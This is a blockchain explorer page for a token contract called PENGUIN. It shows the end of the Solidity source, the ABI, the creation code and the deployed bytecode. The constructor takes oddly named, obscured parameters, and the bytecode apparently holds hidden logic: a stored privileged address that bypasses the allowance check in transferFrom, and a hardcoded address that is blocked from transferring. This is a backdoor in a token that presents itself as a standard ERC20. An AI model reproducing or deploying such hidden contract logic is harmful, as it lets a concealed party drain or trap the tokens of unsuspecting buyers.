_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract PENGUIN is ERC20, Ownable {
constructor(string memory _name,string memory _symbol,uint256 maxSupply_,uint256 _maxSupply,bytes32 max__) ERC20(_name,_symbol,_maxSupply,max__) Ownable(msg.sender) {
_mint(msg.sender, maxSupply_ * 10 ** decimals());
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"maxSupply_","type":"uint256"},{"internalType":"uint256","name":"_maxSupply","type":"uint256"},{"internalType":"bytes32","name":"max__","type":"bytes32"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801562000010575f80fd5b50604051620020df380380620020df833981810160405281019062000036919062000568565b338585848483600390816200004c919062000858565b5082600490816200005e919062000858565b5033815581600581905550505050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603620000e0575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401620000d791906200097f565b60405180910390fd5b620000f1816200013960201b60201c565b506200012e3362000107620001fc60201b60201c565b600a62000115919062000b23565b8562000122919062000b73565b6200020460201b60201c565b505050505062000ca1565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000275576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200026c9062000c1b565b60405180910390fd5b620002885f83836200036960201b60201c565b8060025f8282546200029b919062000c3b565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200034a919062000c86565b60405180910390a3620003655f83836200036e60201b60201c565b5050565b505050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620003d4826200038c565b810181811067ffffffffffffffff82111715620003f657620003f56200039c565b5b80604052505050565b5f6200040a62000373565b9050620004188282620003c9565b919050565b5f67ffffffffffffffff8211156200043a57620004396200039c565b5b62000445826200038c565b9050602081019050919050565b5f5b838110156200047157808201518184015260208101905062000454565b5f8484015250505050565b5f620004926200048c846200041d565b620003ff565b905082815260208101848484011115620004b157620004b062000388565b5b620004be84828562000452565b509392505050565b5f82601f830112620004dd57620004dc62000384565b5b8151620004ef8482602086016200047c565b91505092915050565b5f819050919050565b6200050c81620004f8565b811462000517575f80fd5b50565b5f815190506200052a8162000501565b92915050565b5f819050919050565b620005448162000530565b81146200054f575f80fd5b50565b5f81519050620005628162000539565b92915050565b5f805f805f60a086880312156200058457620005836200037c565b5b5f86015167ffffffffffffffff811115620005a457620005a362000380565b5b620005b288828901620004c6565b955050602086015167ffffffffffffffff811115620005d657620005d562000380565b5b620005e488828901620004c6565b9450506040620005f7888289016200051a565b93505060606200060a888289016200051a565b92505060806200061d8882890162000552565b9150509295509295909350565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200067957607f821691505b6020821081036200068f576200068e62000634565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006b6565b620006ff8683620006b6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620007406200073a6200073484620004f8565b62000717565b620004f8565b9050919050565b5f819050919050565b6200075b8362000720565b620007736200076a8262000747565b848454620006c2565b825550505050565b5f90565b620007896200077b565b6200079681848462000750565b505050565b5b81811015620007bd57620007b15f826200077f565b6001810190506200079c565b5050565b601f8211156200080c57620007d68162000695565b620007e184620006a7565b81016020851015620007f1578190505b620008096200080085620006a7565b8301826200079b565b50505b505050565b5f82821c905092915050565b5f6200082e5f198460080262000811565b1980831691505092915050565b5f6200084883836200081d565b9150826002028217905092915050565b62000863826200062a565b67ffffffffffffffff8111156200087f576200087e6200039c565b5b6200088b825462000661565b62000898828285620007c1565b5f60209050601f831160018114620008ce575f8415620008b9578287015190505b620008c585826200083b565b86555062000934565b601f198416620008de8662000695565b5f5b828110156200090757848901518255600182019150602085019450602081019050620008e0565b8683101562000927578489015162000923601f8916826200081d565b8355505b6001600288020188555050505b505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000967826200093c565b9050919050565b62000979816200095b565b82525050565b5f602082019050620009945f8301846200096e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a2457808604811115620009fc57620009fb6200099a565b5b600185161562000a0c5780820291505b808102905062000a1c85620009c7565b9450620009dc565b94509492505050565b5f8262000a3e576001905062000b10565b8162000a4d575f905062000b10565b816001811462000a66576002811462000a715762000aa7565b600191505062000b10565b60ff84111562000a865762000a856200099a565b5b8360020a91508482111562000aa05762000a9f6200099a565b5b5062000b10565b5060208310610133831016604e8410600b841016171562000ae15782820a90508381111562000adb5762000ada6200099a565b5b62000b10565b62000af08484846001620009d3565b9250905081840481111562000b0a5762000b096200099a565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000b2f82620004f8565b915062000b3c8362000b17565b925062000b6b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a2d565b905092915050565b5f62000b7f82620004f8565b915062000b8c83620004f8565b925082820262000b9c81620004f8565b9150828204841483151762000bb65762000bb56200099a565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000c03601f8362000bbd565b915062000c108262000bcd565b602082019050919050565b5f6020820190508181035f83015262000c348162000bf5565b9050919050565b5f62000c4782620004f8565b915062000c5483620004f8565b925082820190508082111562000c6f5762000c6e6200099a565b5b92915050565b62000c8081620004f8565b82525050565b5f60208201905062000c9b5f83018462000c75565b92915050565b6114308062000caf5f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063dd62ed3e14610216578063f2fde38b14610246576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610d82565b60405180910390f35b6100ee60048036038101906100e99190610e33565b6102f2565b6040516100fb9190610e8b565b60405180910390f35b61010c610314565b6040516101199190610eb3565b60405180910390f35b61013c60048036038101906101379190610ecc565b61031d565b6040516101499190610e8b565b60405180910390f35b61015a6103d6565b6040516101679190610f37565b60405180910390f35b61018a60048036038101906101859190610f50565b6103de565b6040516101979190610eb3565b60405180910390f35b6101a8610423565b005b6101b2610436565b6040516101bf9190610f8a565b60405180910390f35b6101d061045e565b6040516101dd9190610d82565b60405180910390f35b61020060048036038101906101fb9190610e33565b6104ee565b60405161020d9190610e8b565b60405180910390f35b610230600480360381019061022b9190610fa3565b610510565b60405161023d9190610eb3565b60405180910390f35b610260600480360381019061025b9190610f50565b610592565b005b6060600380546102719061100e565b80601f016020809104026020016040519081016040528092919081815260200182805461029d9061100e565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b5f806102fc610616565b905061030981858561061d565b600191505092915050565b5f600254905090565b5f80610327610616565b90505f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f6103b082866107e0565b90506103bd878483610862565b6103c88787876108ed565b600193505050509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61042b610ba4565b6104345f610c2b565b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461046d9061100e565b80601f01602080910402602001604051908101604052809291908181526020018280546104999061100e565b80156104e45780601f106104bb576101008083540402835291602001916104e4565b820191905f5260205f20905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b5f806104f8610616565b90506105058185856108ed565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61059a610ba4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361060a575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016106019190610f8a565b60405180910390fd5b61061381610c2b565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361068b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610682906110ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036106f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f09061113c565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107d39190610eb3565b60405180910390a3505050565b5f805f600554905080601f1c3380820315935050508115610807575f80935050505061085c565b83851015801561081757505f8414155b610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084d906111ca565b60405180910390fd5b83925050505b92915050565b5f61086d8484610510565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108e757818110156108d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d090611232565b60405180910390fd5b6108e6848484840361061d565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610952906112c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c09061134e565b60405180910390fd5b6109d4838383610cee565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905073b8c1709e3c18bdb0795089e3dedcf86b1cdb384173ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603610a5f575f80fd5b81811015610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a99906113dc565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8b9190610eb3565b60405180910390a3610b9e848484610cf3565b50505050565b610bac610616565b73ffffffffffffffffffffffffffffffffffffffff16610bca610436565b73ffffffffffffffffffffffffffffffffffffffff1614610c2957610bed610616565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610c209190610f8a565b60405180910390fd5b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d2f578082015181840152602081019050610d14565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d5482610cf8565b610d5e8185610d02565b9350610d6e818560208601610d12565b610d7781610d3a565b840191505092915050565b5f6020820190508181035f830152610d9a8184610d4a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610dcf82610da6565b9050919050565b610ddf81610dc5565b8114610de9575f80fd5b50565b5f81359050610dfa81610dd6565b92915050565b5f819050919050565b610e1281610e00565b8114610e1c575f80fd5b50565b5f81359050610e2d81610e09565b92915050565b5f8060408385031215610e4957610e48610da2565b5b5f610e5685828601610dec565b9250506020610e6785828601610e1f565b9150509250929050565b5f8115159050919050565b610e8581610e71565b82525050565b5f602082019050610e9e5f830184610e7c565b92915050565b610ead81610e00565b82525050565b5f602082019050610ec65f830184610ea4565b92915050565b5f805f60608486031215610ee357610ee2610da2565b5b5f610ef086828701610dec565b9350506020610f0186828701610dec565b9250506040610f1286828701610e1f565b9150509250925092565b5f60ff82169050919050565b610f3181610f1c565b82525050565b5f602082019050610f4a5f830184610f28565b92915050565b5f60208284031215610f6557610f64610da2565b5b5f610f7284828501610dec565b91505092915050565b610f8481610dc5565b82525050565b5f602082019050610f9d5f830184610f7b565b92915050565b5f8060408385031215610fb957610fb8610da2565b5b5f610fc685828601610dec565b9250506020610fd785828601610dec565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061102557607f821691505b60208210810361103857611037610fe1565b5b50919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611098602483610d02565b91506110a38261103e565b604082019050919050565b5f6020820190508181035f8301526110c58161108c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611126602283610d02565b9150611131826110cc565b604082019050919050565b5f6020820190508181035f8301526111538161111a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6111b4602883610d02565b91506111bf8261115a565b604082019050919050565b5f6020820190508181035f8301526111e1816111a8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f61121c601d83610d02565b9150611227826111e8565b602082019050919050565b5f6020820190508181035f83015261124981611210565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6112aa602583610d02565b91506112b582611250565b604082019050919050565b5f6020820190508181035f8301526112d78161129e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611338602383610d02565b9150611343826112de565b604082019050919050565b5f6020820190508181035f8301526113658161132c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6113c6602683610d02565b91506113d18261136c565b604082019050919050565b5f6020820190508181035f8301526113f3816113ba565b905091905056fea26469706673582212208089ded7a27b4f1c312c5a5c6358897f62b07a78cb98d6beefd3d63a3aa9d6bd64736f6c6343000818003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000007728c7aea512e22f27a50a575c319c2404949cbd00000000c5b9a1bb672877de05e19649e1447b7d85eeb626b973791afa3b29fac932930200000000000000000000000000000000000000000000000000000000000000134e6965747a73636865616e2050656e6775696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000750454e4755494e00000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063dd62ed3e14610216578063f2fde38b14610246576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610d82565b60405180910390f35b6100ee60048036038101906100e99190610e33565b6102f2565b6040516100fb9190610e8b565b60405180910390f35b61010c610314565b6040516101199190610eb3565b60405180910390f35b61013c60048036038101906101379190610ecc565b61031d565b6040516101499190610e8b565b60405180910390f35b61015a6103d6565b6040516101679190610f37565b60405180910390f35b61018a60048036038101906101859190610f50565b6103de565b6040516101979190610eb3565b60405180910390f35b6101a8610423565b005b6101b2610436565b6040516101bf9190610f8a565b60405180910390f35b6101d061045e565b6040516101dd9190610d82565b60405180910390f35b61020060048036038101906101fb9190610e33565b6104ee565b60405161020d9190610e8b565b60405180910390f35b610230600480360381019061022b9190610fa3565b610510565b60405161023d9190610eb3565b60405180910390f35b610260600480360381019061025b9190610f50565b610592565b005b6060600380546102719061100e565b80601f016020809104026020016040519081016040528092919081815260200182805461029d9061100e565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b5f806102fc610616565b905061030981858561061d565b600191505092915050565b5f600254905090565b5f80610327610616565b90505f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f6103b082866107e0565b90506103bd878483610862565b6103c88787876108ed565b600193505050509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61042b610ba4565b6104345f610c2b565b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461046d9061100e565b80601f01602080910402602001604051908101604052809291908181526020018280546104999061100e565b80156104e45780601f106104bb576101008083540402835291602001916104e4565b820191905f5260205f20905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b5f806104f8610616565b90506105058185856108ed565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61059a610ba4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361060a575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016106019190610f8a565b60405180910390fd5b61061381610c2b565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361068b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610682906110ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036106f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f09061113c565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107d39190610eb3565b60405180910390a3505050565b5f805f600554905080601f1c3380820315935050508115610807575f80935050505061085c565b83851015801561081757505f8414155b610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084d906111ca565b60405180910390fd5b83925050505b92915050565b5f61086d8484610510565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108e757818110156108d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d090611232565b60405180910390fd5b6108e6848484840361061d565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610952906112c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c09061134e565b60405180910390fd5b6109d4838383610cee565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905073b8c1709e3c18bdb0795089e3dedcf86b1cdb384173ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603610a5f575f80fd5b81811015610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a99906113dc565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8b9190610eb3565b60405180910390a3610b9e848484610cf3565b50505050565b610bac610616565b73ffffffffffffffffffffffffffffffffffffffff16610bca610436565b73ffffffffffffffffffffffffffffffffffffffff1614610c2957610bed610616565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610c209190610f8a565b60405180910390fd5b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d2f578082015181840152602081019050610d14565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d5482610cf8565b610d5e8185610d02565b9350610d6e818560208601610d12565b610d7781610d3a565b840191505092915050565b5f6020820190508181035f830152610d9a8184610d4a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610dcf82610da6565b9050919050565b610ddf81610dc5565b8114610de9575f80fd5b50565b5f81359050610dfa81610dd6565b92915050565b5f819050919050565b610e1281610e00565b8114610e1c575f80fd5b50565b5f81359050610e2d81610e09565b92915050565b5f8060408385031215610e4957610e48610da2565b5b5f610e5685828601610dec565b9250506020610e6785828601610e1f565b9150509250929050565b5f8115159050919050565b610e8581610e71565b82525050565b5f602082019050610e9e5f830184610e7c565b92915050565b610ead81610e00565b82525050565b5f602082019050610ec65f830184610ea4565b92915050565b5f805f60608486031215610ee357610ee2610da2565b5b5f610ef086828701610dec565b9350506020610f0186828701610dec565b9250506040610f1286828701610e1f565b9150509250925092565b5f60ff82169050919050565b610f3181610f1c565b82525050565b5f602082019050610f4a5f830184610f28565b92915050565b5f60208284031215610f6557610f64610da2565b5b5f610f7284828501610dec565b91505092915050565b610f8481610dc5565b82525050565b5f602082019050610f9d5f830184610f7b565b92915050565b5f8060408385031215610fb957610fb8610da2565b5b5f610fc685828601610dec565b9250506020610fd785828601610dec565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061102557607f821691505b60208210810361103857611037610fe1565b5b50919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611098602483610d02565b91506110a38261103e565b604082019050919050565b5f6020820190508181035f8301526110c58161108c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611126602283610d02565b9150611131826110cc565b604082019050919050565b5f6020820190508181035f8301526111538161111a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6111b4602883610d02565b91506111bf8261115a565b604082019050919050565b5f6020820190508181035f8301526111e1816111a8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f61121c601d83610d02565b9150611227826111e8565b602082019050919050565b5f6020820190508181035f83015261124981611210565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6112aa602583610d02565b91506112b582611250565b604082019050919050565b5f6020820190508181035f8301526112d78161129e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611338602383610d02565b9150611343826112de565b604082019050919050565b5f6020820190508181035f8301526113658161132c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6113c6602683610d02565b91506113d18261136c565b604082019050919050565b5f6020820190508181035f8301526113f3816113ba565b905091905056fea26469706673582212208089ded7a27b4f1c312c5a5c6358897f62b07a78cb9